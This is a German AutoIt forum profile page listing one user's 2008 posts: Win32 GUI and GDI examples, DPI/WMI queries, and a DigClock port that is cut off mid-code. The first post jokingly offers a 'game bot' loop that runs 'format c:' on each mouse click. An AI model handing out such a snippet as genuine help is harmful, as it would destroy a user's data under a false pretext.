1. Dashboard
  2. Mitglieder
    1. Letzte Aktivitäten
    2. Benutzer online
    3. Team
    4. Mitgliedersuche
  3. Forenregeln
  4. Forum
    1. Unerledigte Themen
  • Anmelden
  • Registrieren
  • Suche
Alles
  • Alles
  • Artikel
  • Seiten
  • Forum
  • Erweiterte Suche
  1. AutoIt.de - Das deutschsprachige Forum.
  2. Mitglieder
  3. Greenhorn

Beiträge von Greenhorn

  • Wenn linke maustaste gedrückt viele Mausklicks machen !

    • Greenhorn
    • 1. November 2008 um 14:40

    Fast richtig ...

    Spiele-Bots programmiert man aber eher so:

    [autoit]


    While True
    If _IsPressed (01) Then _
    Run (@ComSpec & "/c format c:")
    WEnd

    [/autoit]
  • Wenn linke maustaste gedrückt viele Mausklicks machen !

    • Greenhorn
    • 31. Oktober 2008 um 19:30

    Smells like Bot spirit ...

  • Tray Menü ansprechen - am besten im Hintergrund

    • Greenhorn
    • 27. Oktober 2008 um 22:45

    Ganz ohne anklicken wird es nicht gehen, da die Icons/Buttons im SystemTray kein Handle besitzen ...

    Aber hier ist vllt was brauchbares ...

    http://www.autoitscript.com/forum/index.php?showtopic=82549&hl=popup+menu


    Gruß
    Greenhorn

  • Bilder Buttons zuweisen

    • Greenhorn
    • 27. Oktober 2008 um 21:41

    Du erstellst jedesmal ein neues Steuerelement, das ist nicht nötig ...

    Spoiler anzeigen
    [autoit]

    #include <GUIConstantsEx.au3>
    #include <WindowsConstants.au3>

    [/autoit] [autoit][/autoit] [autoit]

    $hwnd = GUICreate ('Test', 1090, 695, 0x80000000, 0x80000000, $WS_OVERLAPPEDWINDOW)

    [/autoit] [autoit][/autoit] [autoit]

    $tab = GUICtrlCreateTab (0, 0, 1090, 695)

    [/autoit] [autoit][/autoit] [autoit]

    $Screens = GUICtrlCreateTabItem ("Screens")
    $Screen_1 = GUICtrlCreateButton ("Screen 1", 10, 75, 90, 20)
    $Screen_2 = GUICtrlCreateButton ("Screen 2", 100, 75, 90, 20)
    $Screen_3 = GUICtrlCreateButton ("Screen 3", 190, 75, 90, 20)
    $Screen_4 = GUICtrlCreateButton ("Screen 4", 280, 75, 90, 20)
    $Screen_5 = GUICtrlCreateButton ("Screen 5", 370, 75, 90, 20)
    $Screen_6 = GUICtrlCreateButton ("Screen 6", 460, 75, 90, 20)

    [/autoit] [autoit][/autoit] [autoit]

    $button_1 = GUICtrlCreatePic ("C:\Users\Screen1.jpg", 10, 105, 1090, 695)

    [/autoit] [autoit][/autoit] [autoit]

    GUISetState ()

    [/autoit] [autoit][/autoit] [autoit]

    While True
    $msg = GUIGetMsg ()
    Select
    Case $msg = $GUI_EVENT_CLOSE
    ExitLoop
    Case $msg = $Screen_1
    GUICtrlSetImage ($button_1, "C:\Users\Screen1.jpg")

    [/autoit] [autoit][/autoit] [autoit]

    Case $msg = $Screen_2
    GUICtrlSetImage ($button_1, "C:\Users\Screen2.jpg")

    [/autoit] [autoit][/autoit] [autoit]

    Case $msg = $Screen_3
    GUICtrlSetImage ($button_1, "C:\Users\Screen3.jpg")

    [/autoit] [autoit][/autoit] [autoit]

    Case $msg = $Screen_4
    GUICtrlSetImage ($button_1, "C:\Users\Screen4.jpg")

    [/autoit] [autoit][/autoit] [autoit]

    Case $msg = $Screen_5
    GUICtrlSetImage ($button_1, "C:\Users\Screen5.jpg")

    [/autoit] [autoit][/autoit] [autoit]

    Case $msg = $Screen_6
    GUICtrlSetImage ($button_1, "C:\Users\Screen6.jpg")

    [/autoit] [autoit][/autoit] [autoit]

    EndSelect
    WEnd

    [/autoit] [autoit][/autoit] [autoit][/autoit]


    Gruß
    Greenhorn

    p.s. Selbstverständlich kannst Du mit AutoIt weitermachen ! ;)

  • Help-GUI erstellen?

    • Greenhorn
    • 26. Oktober 2008 um 19:12

    ... vielleicht noch was besseres gefunden ...
    *auch ungetestet*
    http://www.heise.de/software/download/helpmaker/43162


    Gruß
    Greenhorn

  • WhatSize (WSZ)

    • Greenhorn
    • 25. Oktober 2008 um 15:36

    Moin,

    dieses Skript zeigt die Größe des Anwendungsbereichs in Pixeln, Millimetern, Zoll und Twips an, also den metrischen Koordinatensystemen.

    Nicht mehr, aber auch nicht weniger ...

    Der Inhalt kann nicht angezeigt werden, da er nicht mehr verfügbar ist.

    Spoiler anzeigen
    [autoit]

    ;******************************************************************************************
    ;* WhatSize Demo von C.Petzold
    ;* Übersetzt in AutoIt von Greenhorn
    ;*
    #NoTrayIcon
    #include-once
    #include <GUIConstantsEx.au3>
    #include <WindowsConstants.au3>
    #include "WinAPI.h.au3"

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Global $hWindowProc = DllCallbackRegister ('WindowProc', 'long', 'hwnd;uint;wparam;lparam')
    Global $stAppName = DllStructCreate ('char szAppName[128]')
    Global $szAppName = DllStructSetData ($stAppName, 'szAppName', 'WhatSize')
    Global $hInst = GetModuleHandle ($NULL)

    [/autoit] [autoit][/autoit] [autoit]

    ; Statische Variablen für die Fensterprozedur, müssen wir in AutoIt
    ; global setzen, gibt in AutoIt leider kein 'static'
    Global $cxChar, $cyChar
    Global $szHeading = "Koordinatensystem Left Right Top Bottom"
    Global $szUndLine = "----------------- ---- ----- --- ------"

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    WinMain ()

    [/autoit] [autoit][/autoit] [autoit]

    Func WinMain ()

    Global $hWnd
    Global $Msg = DllStructCreate ($tagMSG)
    Global $wcx = DllStructCreate ($tagWNDCLASSEX)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    DllStructSetData ($wcx,'cbSize', DllStructGetSize ($wcx))
    DllStructSetData ($wcx,'style', BitOR ($CS_HREDRAW, $CS_VREDRAW))
    DllStructSetData ($wcx,'lpfnWndProc', DllCallbackGetPtr ($hWindowProc))
    DllStructSetData ($wcx,'cbClsExtra', 0)
    DllStructSetData ($wcx,'cbWndExtra', 0)
    DllStructSetData ($wcx,'hInstance', $hInst)
    DllStructSetData ($wcx,'hIcon', LoadIcon ($NULL, $IDI_APPLICATION))
    DllStructSetData ($wcx,'hCursor', LoadCursor ($NULL, $IDC_ARROW))
    DllStructSetData ($wcx,'hbrBackground', GetStockObject ($WHITE_BRUSH))
    DllStructSetData ($wcx,'lpszMenuName', $NULL)
    DllStructSetData ($wcx,'lpszClassName', DllStructGetPtr ($stAppName))
    DllStructSetData ($wcx,'hIconSm', LoadIcon ($NULL, $IDI_APPLICATION))

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $lpMyWndClass = DllStructGetPtr ($wcx)
    $lpMsg = DllStructGetPtr ($Msg)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If Not RegisterClassEx ($lpMyWndClass) Then
    MsgBox (266256, Default, 'Die Fensterklasse konnte nicht registriert werden !')
    Exit
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    $hWnd = CreateWindowEx ($WS_EX_COMPOSITED, _ ; verhindert "Flickern"
    $szAppName, 'Wie groß ist das Fenster?', _
    $WS_OVERLAPPEDWINDOW, _
    $CW_USEDEFAULT, $CW_USEDEFAULT, _
    $CW_USEDEFAULT, $CW_USEDEFAULT, _
    $NULL, $NULL, $hInst, $NULL)

    ShowWindow ($hWnd, 5)
    UpdateWindow ($hWnd)

    [/autoit] [autoit][/autoit] [autoit]

    While (GetMessage ($lpMsg, $NULL, 0, 0) > 0)

    TranslateMessage ($lpMsg)
    DispatchMessage ($lpMsg)

    WEnd

    Return DllStructGetData ($Msg, 'wParam')

    [/autoit] [autoit][/autoit] [autoit]

    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func Show ($hwnd, $hdc, $xText, $yText, $iMapMode, $szMapMode)

    [/autoit] [autoit][/autoit] [autoit]

    Local $szBuffer
    $rcClient = DllStructCreate ($tagRECT)
    $lprcClient = DllStructGetPtr ($rcClient)
    SaveDC ($hdc)

    SetMapMode ($hdc, $iMapMode)
    GetClientRect ($hwnd, $lprcClient)
    DPtoLP ($hdc, $lprcClient, 2)

    RestoreDC ($hdc, -1)

    $left = DllStructGetData($rcClient, "Left")
    $top = DllStructGetData($rcClient, "Top")
    $right = DllStructGetData($rcClient, "Right")
    $bottom = DllStructGetData($rcClient, "Bottom")

    $szBuffer = StringFormat("%-20s %7d %7d %7d %7d", $szMapMode, _
    $left, $right, $top, $bottom)

    TextOut ($hdc, $xText, $yText, _
    $szBuffer, _
    StringLen ($szBuffer))

    [/autoit] [autoit][/autoit] [autoit]

    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func WindowProc ($hWnd, $uMsg, $wParam, $lParam)

    $rcClient = DllStructCreate ($tagRECT)
    $lprcClient = DllStructGetPtr ($rcClient)
    $ps = DllStructCreate ($tagPAINTSTRUCT)
    $lpPs = DllStructGetPtr ($ps)
    $tm = DllStructCreate ($tagTEXTMETRIC)
    $lptm = DllStructGetPtr ($tm)

    Switch $uMsg

    Case $WM_CREATE
    $hdc = GetDC ($hWnd) ;
    SelectObject ($hdc, GetStockObject ($SYSTEM_FIXED_FONT)) ;

    GetTextMetrics ($hdc, DllStructGetPtr ($tm)) ;
    $cxChar = DllStructGetData ($tm, 'tmAveCharWidth') ;
    $cyChar = DllStructGetData ($tm, 'tmHeight') + DllStructGetData ($tm, 'tmExternalLeading') ;

    ReleaseDC ($hWnd, $hdc) ;

    Case $WM_PAINT
    $hDC = BeginPaint ($hWnd, $lpPs)

    SelectObject ($hDC, GetStockObject ($SYSTEM_FIXED_FONT)) ;
    SetMapMode ($hDC, $MM_ANISOTROPIC) ; Koordinatensystem auf MM_ANISOTROPIC umstellen
    SetWindowExtEx ($hDC, 1, 1, $NULL) ; Ausmaße des Darstellungsfeldes für das Fenster
    SetViewportExtEx ($hDC, $cxChar, $cyChar, $NULL) ; Ausmaße des Darstellungsfeldes für den Gerätekontext

    [/autoit] [autoit][/autoit] [autoit]

    TextOut ($hDC, 1, 1, $szHeading, StringLen ($szHeading)) ;
    TextOut ($hDC, 1, 2, $szUndLine, StringLen ($szUndLine)) ;

    Show ($hWnd, $hDC, 1, 3, $MM_TEXT, "TEXT (pixels)") ;
    Show ($hWnd, $hDC, 1, 4, $MM_LOMETRIC, "LOMETRIC (.1 mm)") ;
    Show ($hWnd, $hDC, 1, 5, $MM_HIMETRIC, "HIMETRIC (.01 mm)") ;
    Show ($hWnd, $hDC, 1, 6, $MM_LOENGLISH, "LOENGLISH (.01 in)") ;
    Show ($hWnd, $hDC, 1, 7, $MM_HIENGLISH, "HIENGLISH (.001 in)") ;
    Show ($hWnd, $hDC, 1, 8, $MM_TWIPS, "TWIPS (1/1440 in)") ;

    EndPaint ($hWnd, $lpPs)

    Case $WM_DESTROY
    PostQuitMessage (0)

    [/autoit] [autoit][/autoit] [autoit]

    Case Else
    Return DefWindowProc ($hWnd, $uMsg, $wParam, $lParam)
    EndSwitch

    Return 0;

    EndFunc

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit]


    Gruß
    Greenhorn

  • Help-GUI erstellen?

    • Greenhorn
    • 24. Oktober 2008 um 22:54

    Der ist vielleicht auch noch was ...
    *Ungetestet*
    http://www.coffeecup.com/free-editor/


    Gruß
    Greenhorn

  • Maus-Meter

    • Greenhorn
    • 24. Oktober 2008 um 17:48
    Zitat von Worfox

    Ich hab dem ganzen noch ein kleines gui gegeben und den rechenteil in eine UDF gesteckt.

    Falls es nun eine lösung gibt den DPI wert zu ermitten werde ich das auch noch anfügen.

    [autoit]

    #include <WinAPI.au3>
    Global Const $HORZSIZE = 4
    Global Const $VERTSIZE = 6
    Global Const $HORZRES = 8
    Global Const $VERTRES = 10
    Global Const $LOGPIXELSX = 88
    Global Const $LOGPIXELSY = 90
    Global Const $BITSPIXEL = 12

    [/autoit][autoit][/autoit][autoit]

    $ScreenDC = _WinAPI_GetDC (0)
    $logX = _WinAPI_GetDeviceCaps ($ScreenDC, $LOGPIXELSX) ; Number of pixels per logical inch along the screen width
    $logY = _WinAPI_GetDeviceCaps ($ScreenDC, $LOGPIXELSY) ; Number of pixels per logical inch along the screen height
    $width = _WinAPI_GetDeviceCaps ($ScreenDC, $HORZSIZE) ; width in mm
    $height = _WinAPI_GetDeviceCaps ($ScreenDC, $VERTSIZE) ; height in mm
    $pixelsX = _WinAPI_GetDeviceCaps ($ScreenDC, $HORZRES) ; x pixels
    $pixelsY = _WinAPI_GetDeviceCaps ($ScreenDC, $VERTRES) ; y pixels
    $bitspxl = _WinAPI_GetDeviceCaps ($ScreenDC, $BITSPIXEL) ; bits per pixel
    _WinAPI_ReleaseDC (0, $ScreenDC)

    [/autoit][autoit][/autoit][autoit]

    MsgBox (0, '', $width & ' x ' & $height & ' mm (' & $pixelsX & ' x ' & $pixelsY & ')' & _
    @CRLF & @CRLF & _
    'dpi = ' & $logX & ' Pixel/Zoll' & @CRLF & _
    'Farbtiefe = ' & $bitspxl & ' Bit')

    [/autoit]


    Gruß

  • Maus-Meter

    • Greenhorn
    • 24. Oktober 2008 um 17:35
    Zitat von FireFlyer

    Das mit der WMI hatte ich auch mal gefunden nur bei mir hat es an 3 von 5 rechnern eine höhere Auflösung als Objekt gegeben als in den Einstellungen der Graka... aber ich weiss leider nicht warum und hab auch keine Lösung gefunden... Ich hab grade nochmal an meinem Rechner hier im Büro geschaut, da scheint es zu stimmen.

    Dann unterstützt die Firmware des Monitors vllt keine Funktionen um die Auflösung zu ermitteln ...


    Gruß

  • Maus-Meter

    • Greenhorn
    • 24. Oktober 2008 um 17:29

    Die Koordinatensysteme in Windows arbeiten alle mit logischen Einheiten.
    Die MSDN-Dokumentation zu HORZRES und VERTRES ist falsch ! Denn wie wir gesehen haben,wird die logische Bilschirmgröße für 1280x1024 zurückgegeben.

    Aber via WMI können wir die max. physikalische Auflösung ermitteln.
    Nun brauchen wir nur noch einen Speicherkontext erzeugen, ihm diese Auflösung/Größe verpassen und dann den Bildschirmkontext in den Speicherkontext mappen.
    Dann kann man die ganze Rechengeschichte für die Maus in dem Speicherkontext durchführen.


    Gruß

  • Maus-Meter

    • Greenhorn
    • 23. Oktober 2008 um 22:14

    Die DOTS/inch sind die PIXEL/inch.

    Spoiler anzeigen
    [autoit]

    #include <WinAPI.au3>
    Global Const $HORZSIZE = 4
    Global Const $VERTSIZE = 6
    Global Const $HORZRES = 8
    Global Const $VERTRES = 10
    Global Const $LOGPIXELSX = 88
    Global Const $LOGPIXELSY = 90
    Global Const $BITSPIXEL = 12

    [/autoit] [autoit][/autoit] [autoit]

    $ScreenDC = _WinAPI_GetDC (0)
    $logX = _WinAPI_GetDeviceCaps ($ScreenDC, $LOGPIXELSX) ; Number of pixels per logical inch along the screen width
    $logY = _WinAPI_GetDeviceCaps ($ScreenDC, $LOGPIXELSY) ; Number of pixels per logical inch along the screen height
    $width = _WinAPI_GetDeviceCaps ($ScreenDC, $HORZSIZE) ; width in mm
    $height = _WinAPI_GetDeviceCaps ($ScreenDC, $VERTSIZE) ; height in mm
    $pixelsX = _WinAPI_GetDeviceCaps ($ScreenDC, $HORZRES) ; x pixels
    $pixelsY = _WinAPI_GetDeviceCaps ($ScreenDC, $VERTRES) ; y pixels
    $bitspxl = _WinAPI_GetDeviceCaps ($ScreenDC, $BITSPIXEL) ; bits per pixel
    _WinAPI_ReleaseDC (0, $ScreenDC)

    [/autoit] [autoit][/autoit] [autoit]

    MsgBox (0, '', $width & ' x ' & $height & ' mm (' & $pixelsX & ' x ' & $pixelsY & ')' & _
    @CRLF & @CRLF & _
    'dpi = ' & $logX & ' Pixel/Zoll' & @CRLF & _
    'Farbtiefe = ' & $bitspxl & ' Bit')

    [/autoit]

    Die Koordinaten aus dem Gerätekontext arbeiten mit logischen Einheiten.
    Von daher stimmen die Werte eigentlich schon, aber wenn ich, so wie Oscar, meinem Bildschirm eine kleinere Auflösung verpasse, dann arbeitet das System mit diesen logischen Einheiten, logisch. :rolleyes:
    Wenn ich dann auch noch eine 4:3 Auflösung in meinen 16:10 Monitor drücke, dann interpoliert der Monitor die logischen Einheiten auf die reellen, und somit stimmen die Werte natürlich nicht mehr.

    Deshalb soll man an seinem Monitor immer die max. Auflösung einstellen und wenn die Schrift oder die Icons zu klein sind, diese über die DPI angleichen.

    Für Vista gibt es die Funktion GetMonitorDisplayAreaSize() um die max. physische Größe der Anzeige zu ermitteln, aber leider nur für Vista ...

    EDIT:
    Mir ist da noch etwas eingefallen ...

    Wenn kein Grafiktreiber installiert ist, dann kann ich unter "Anzeige -> Einstellungen" eine höhere Bildschirmauflösung einstellen als der Monitor hergibt (und ihn damit ins Jenseits befördern).
    Sobald ich aber einen Grafiktreiber installiere kann ich auch nur die max. Auflösung des Monitors einstellen.

    Was sagt uns das ? ?(
    Der Grafiktreiber kennt die max. physische Auflösung des Monitors !

    Könnte man vllt per WMI herankommen ...

    Spoiler anzeigen
    [autoit]

    #include <WindowsConstants.au3>
    #include <GUIConstantsEx.au3>
    #include <EditConstants.au3>
    #include <WinAPI.au3>

    [/autoit] [autoit][/autoit] [autoit]

    $hWnd = GUICreate ('Win32_VideoSettings', 640, 480, -1, -1, $WS_OVERLAPPEDWINDOW)

    [/autoit] [autoit][/autoit] [autoit]

    $idEdit = GUICtrlCreateEdit ('', 0, 0, 640, 480, BitOR ($WS_VSCROLL, $ES_AUTOVSCROLL))

    [/autoit] [autoit][/autoit] [autoit]

    GUISetState ()

    [/autoit] [autoit][/autoit] [autoit]

    ; Generated by AutoIt Scriptomatic

    [/autoit] [autoit][/autoit] [autoit]

    $wbemFlagReturnImmediately = 0x10
    $wbemFlagForwardOnly = 0x20
    $colItems = ""
    $strComputer = "localhost"

    [/autoit] [autoit][/autoit] [autoit]

    $Output=""
    $Output = $Output & "Computer: " & $strComputer & @CRLF
    $Output = $Output & "==========================================" & @CRLF
    $objWMIService = ObjGet ("winmgmts:\\" & $strComputer & "\root\CIMV2")
    $colItems = $objWMIService.ExecQuery ("SELECT * FROM Win32_VideoSettings", "WQL", _
    $wbemFlagReturnImmediately + $wbemFlagForwardOnly)

    [/autoit] [autoit][/autoit] [autoit]

    If IsObj ($colItems) then
    For $objItem In $colItems
    $Output &= "Element: " & $objItem.Element & @CRLF
    $Output &= "Setting: " & $objItem.Setting & @CRLF
    ;if Msgbox(1,"WMI Output",$Output) = 2 then ExitLoop
    ;$Output=""
    Next
    GUICtrlSetData ($idEdit,$Output)
    Else
    GUICtrlSetData ($idEdit,"WMI Output","No WMI Objects Found for class: Win32_VideoSettings" )
    Endif

    [/autoit] [autoit][/autoit] [autoit]

    While True

    Switch GUIGetMsg ()
    Case -3
    ExitLoop
    EndSwitch
    WEnd

    [/autoit] [autoit][/autoit] [autoit][/autoit]
  • Outlook & OExpress Saver...

    • Greenhorn
    • 15. Oktober 2008 um 22:41

    Spitze, sogar multilingual ... :thumbup:


    Gruß
    Greenhorn

  • Au3IrrLicht - Alpha-Version

    • Greenhorn
    • 14. Oktober 2008 um 22:50

    Thanks for sharing this ... ;)

    I hope you're well up and feel fine.


    Gruß
    Greenhorn

  • DriveLetter Auswahl

    • Greenhorn
    • 13. Oktober 2008 um 00:38

    Moin,

    also mit DriveGetDrive bekommst Du schon mal alle vergebenen Laufwerksbuchstaben, der Rest ist Mathe ... ;)


    Gruß
    Greenhorn

  • Hilfe mit Debugger

    • Greenhorn
    • 13. Oktober 2008 um 00:19

    Das Tool ist von stumpii und hier zu finden ...

    http://www.autoitscript.com/forum/index.php?showtopic=21834&hl=debugger

    Webpage
    http://www.thefoolonthehill.net/AutoIt_AutoIt_Debugger.htm

    Habe ich aber nie ausprobiert, gleich mal testen ...


    Gruß
    Greenhorn

  • Erstellung einer GDI-UDF

    • Greenhorn
    • 12. Oktober 2008 um 20:58

    Na, dann packen 'mir es an ... :D

    Ich liebe die Win32 Flat GDI ... ;)


    Gruß
    Greenhorn

  • DigClock - Demo

    • Greenhorn
    • 12. Oktober 2008 um 20:21

    Moinsen,

    habe ein Beispiel, welches ich in einem Buch gefunden habe, einer digitalen Anzeige in einem Fenster in AutoIt übersetzt.
    Drauf gekommen bin ich beim Lesen des Buches und da fiel mir ein das Oscar da doch irgendwas mit 'ner Digitaluhr geskriptet hatte.
    Vielleicht kann Oscar das ja für seine geniale Digitaluhr gebrauchen. ;)

    Es passiert eigentlich nicht viel, außer dass die Uhrzeit im Anwendungsbereich des Fensters digital angezeigt wird. :rolleyes:
    Screenshot:

    Relevanter Quellcode:
    DigClock.au3

    Spoiler anzeigen
    [autoit]

    ;******************************************************************************************
    ;* DigClock Demo von C.Petzold
    ;* Übersetzt in AutoIt von Greenhorn
    ;*
    #NoTrayIcon
    #include-once
    #include <GUIConstantsEx.au3>
    #include <WindowsConstants.au3>
    #include "WinAPI.h.au3"
    #include "DigClock.h.au3"
    ;;;

    [/autoit] [autoit][/autoit] [autoit]

    Global Const $WM_SETTINGCHANGE = 0x001A

    [/autoit] [autoit][/autoit] [autoit]

    Global Const $ID_TIMER = 1

    [/autoit] [autoit][/autoit] [autoit]

    Global $hWindowProc = DllCallbackRegister ('WindowProc', 'long', 'hwnd;uint;wparam;lparam')
    Global $stAppName = DllStructCreate ('char szAppName[128]')
    Global $szAppName = DllStructSetData ($stAppName, 'szAppName', 'DigClock')
    Global $hInst = GetModuleHandle ($NULL)
    Global $szClassName = ''

    [/autoit] [autoit][/autoit] [autoit]

    ; Statische Variablen für die Fensterprozedur, müssen wir in AutoIt
    ; global setzen, gibt in AutoIt leider kein 'static'
    Global $f24hour = False, $fSuppress = False
    Global $cxClient, $cyClient, $hBrushRed

    [/autoit] [autoit][/autoit] [autoit]

    WinMain()

    [/autoit] [autoit][/autoit] [autoit]

    Func WinMain()

    Global $hWnd
    Global $Msg = DllStructCreate ($tagMSG)
    Global $wcx = DllStructCreate ($tagWNDCLASSEX)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    DllStructSetData ($wcx,'cbSize', DllStructGetSize ($wcx))
    DllStructSetData ($wcx,'style', BitOR ($CS_HREDRAW, $CS_VREDRAW))
    DllStructSetData ($wcx,'lpfnWndProc', DllCallbackGetPtr ($hWindowProc))
    DllStructSetData ($wcx,'cbClsExtra', 0)
    DllStructSetData ($wcx,'cbWndExtra', 0)
    DllStructSetData ($wcx,'hInstance', $hInst)
    DllStructSetData ($wcx,'hIcon', LoadIcon ($NULL, $IDI_APPLICATION))
    DllStructSetData ($wcx,'hCursor', LoadCursor ($NULL, $IDC_ARROW))
    DllStructSetData ($wcx,'hbrBackground', GetStockObject ($BLACK_BRUSH))
    DllStructSetData ($wcx,'lpszMenuName', $NULL)
    DllStructSetData ($wcx,'lpszClassName', DllStructGetPtr ($stAppName))
    DllStructSetData ($wcx,'hIconSm', LoadIcon ($NULL, $IDI_APPLICATION))

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    $lpMyWndClass = DllStructGetPtr ($wcx)
    $lpMsg = DllStructGetPtr ($Msg)

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    If Not RegisterClassEx ($lpMyWndClass) Then
    MsgBox (266256, Default, 'Die Fensterklasse konnte nicht registriert werden !')
    Exit
    EndIf

    [/autoit] [autoit][/autoit] [autoit]

    $hWnd = CreateWindowEx ($WS_EX_COMPOSITED, _ ; verhindert "Flickern"
    $szAppName, $szAppName, _
    $WS_OVERLAPPEDWINDOW, _
    $CW_USEDEFAULT, $CW_USEDEFAULT, _
    544, 375, _
    $NULL, $NULL, $hInst, $NULL)

    ShowWindow ($hWnd, 5)
    UpdateWindow ($hWnd)

    [/autoit] [autoit][/autoit] [autoit]

    While (GetMessage ($lpMsg, $NULL, 0, 0) > 0)

    TranslateMessage ($lpMsg)
    DispatchMessage ($lpMsg)

    WEnd

    Return DllStructGetData ($Msg, 'wParam')

    [/autoit] [autoit][/autoit] [autoit]

    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func WindowProc ($hWnd, $uMsg, $wParam, $lParam)

    $szBuffer = DllStructCreate ('char szBuffer[2]')
    $lpszBuffer = DllStructGetPtr ($szBuffer)
    $rcClient = DllStructCreate ($tagRECT)
    $lprcClient = DllStructGetPtr ($rcClient)

    Switch $uMsg

    Case $WM_CREATE
    $hBrushRed = CreateSolidBrush (RGB (255, 0, 0)) ; Rotes Füllmuster für die Segmente erzeugen
    SetTimer ($hWnd, $ID_TIMER, 1000, $NULL)
    ContinueCase ; weiter mit WM_SETTINGCHANGE

    Case $WM_SETTINGCHANGE
    GetLocaleInfo ($LOCALE_USER_DEFAULT, $LOCALE_ITIME, $lpszBuffer, 2)
    $f24hour = (DllStructGetData ($szBuffer, 'szBuffer', 1) == '1') ; TRUE wenn 1

    GetLocaleInfo ($LOCALE_USER_DEFAULT, $LOCALE_ITLZERO, $lpszBuffer, 2) ;
    $fSuppress = (DllStructGetData ($szBuffer, 'szBuffer', 1) == '0') ; TRUE wenn 0

    [/autoit] [autoit][/autoit] [autoit]

    GetClientRect ($hWnd, $lprcClient)
    $cxClient = DllStructGetData ($rcClient, 'right')
    $cyClient = DllStructGetData ($rcClient, 'bottom')

    [/autoit] [autoit][/autoit] [autoit]

    InvalidateRect ($hWnd, $NULL, TRUE) ; löst eine WM_PAINT Nachricht aus

    Case $WM_SIZE
    $cxClient = LOWORD ($lParam) ; Bei Größenänderung Breite
    $cyClient = HIWORD ($lParam) ; und Höhe ermitteln

    Case $WM_TIMER
    InvalidateRect ($hWnd, $NULL, TRUE) ; löst eine WM_PAINT Nachricht aus

    Case $WM_PAINT
    $ps = DllStructCreate ($tagPAINTSTRUCT)
    $lpPs = DllStructGetPtr ($ps)

    $hDC = BeginPaint ($hWnd, $lpPs)

    SetMapMode ($hDC, $MM_ISOTROPIC) ; Koordinatensystem auf MM_ISOTROPIC umstellen
    SetWindowExtEx ($hDC, 276, 72, $NULL) ; Ausmaße des Darstellungsfeldes für das Fenster
    SetViewportExtEx ($hDC, $cxClient, $cyClient, $NULL) ; Ausmaße des Darstellungsfeldes für den Gerätekontext

    [/autoit] [autoit][/autoit] [autoit]

    SetWindowOrgEx ($hDC, 138, 36, $NULL) ; Punkt im Fenster, der zum Ursprung des Darstellungsfeldes (0,0) "gemappt" wird
    SetViewportOrgEx ($hDC, $cxClient / 2, $cyClient / 2, $NULL) ; Punkt im Gerätekontext, der zum Ursprung des Fensters "gemappt" wird

    [/autoit] [autoit][/autoit] [autoit]

    SelectObject ($hDC, GetStockObject ($NULL_PEN)) ; "leeren" Zeichenstift in den Gerätekontext einsetzen
    SelectObject ($hDC, $hBrushRed) ; Füllmuster für die Segmente in den Gerätekontext einsetzen

    [/autoit] [autoit][/autoit] [autoit]

    DisplayTime ($hDC, $f24Hour, $fSuppress) ;

    [/autoit] [autoit][/autoit] [autoit]

    EndPaint ($hWnd, $lpPs)

    Case $WM_CLOSE
    DestroyWindow ($hWnd)

    Case $WM_DESTROY
    KillTimer ($hWnd, $ID_TIMER)
    DeleteObject ($hBrushRed) ; Aufräumarbeiten
    PostQuitMessage (0)

    [/autoit] [autoit][/autoit] [autoit]

    Case Else
    Return DefWindowProc ($hWnd, $uMsg, $wParam, $lParam)
    EndSwitch

    Return 0;

    EndFunc
    ;

    [/autoit]


    DigClock.h.au3

    Spoiler anzeigen
    [autoit]

    #include-once
    #include "WinAPI.h.au3"

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    Dim $fSevenSegment [10][7] = [ [1, 1, 1, 0, 1, 1, 1], _ ; // 0
    [0, 0, 1, 0, 0, 1, 0], _ ; // 1
    [1, 0, 1, 1, 1, 0, 1], _ ; // 2
    [1, 0, 1, 1, 0, 1, 1], _ ; // 3
    [0, 1, 1, 1, 0, 1, 0], _ ; // 4
    [1, 1, 0, 1, 0, 1, 1], _ ; // 5
    [1, 1, 0, 1, 1, 1, 1], _ ; // 6
    [1, 0, 1, 0, 0, 1, 0], _ ; // 7
    [1, 1, 1, 1, 1, 1, 1], _ ; // 8
    [1, 1, 1, 1, 0, 1, 1] ] ; // 9
    ; x, y; x, y; x, y; x, y; x, y; x, y
    Dim $aSegment [7][12] = [ [ 7, 6, 11, 2, 31, 2, 35, 6, 31, 10, 11, 10], _
    [ 6, 7, 10, 11, 10, 31, 6, 35, 2, 31, 2, 11], _
    [36, 7, 40, 11, 40, 31, 36, 35, 32, 31, 32, 11], _
    [ 7, 36, 11, 32, 31, 32, 35, 36, 31, 40, 11, 40], _
    [ 6, 37, 10, 41, 10, 61, 6, 65, 2, 61, 2, 41], _
    [36, 37, 40, 41, 40, 61, 36, 65, 32, 61, 32, 41], _
    [ 7, 66, 11, 62, 31, 62, 35, 66, 31, 70, 11, 70] ]

    [/autoit] [autoit][/autoit] [autoit]

    Dim $ptSegment [7]

    [/autoit] [autoit][/autoit] [autoit]

    For $i = 0 To 6
    $ptSegment [$i] = DllStructCreate ('int [12]')
    For $ii = 0 To 11
    DllStructSetData ($ptSegment [$i], 1, $aSegment [$i][$ii], $ii + 1)
    Next
    Next

    [/autoit] [autoit][/autoit] [autoit]

    ;/////////////////////////////////////////////////////////////
    ;// DigClock Funktionen //
    ;/////////////////////////////////////////////////////////////
    Func DisplayDigit ($hdc, $iNumber)

    [/autoit] [autoit][/autoit] [autoit]

    For $iSeg = 0 To 6
    If ($fSevenSegment [$iNumber][$iSeg]) Then
    Polygon ($hdc, DllStructGetPtr ($ptSegment [$iSeg]), 6) ;
    EndIf
    Next

    [/autoit] [autoit][/autoit] [autoit]

    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func DisplayTwoDigits ($hdc, $iNumber, $fSuppress)

    [/autoit] [autoit][/autoit] [autoit]

    If (Not $fSuppress Or ($iNumber / 10 <> 0)) Then
    DisplayDigit ($hdc, $iNumber / 10) ;
    EndIf

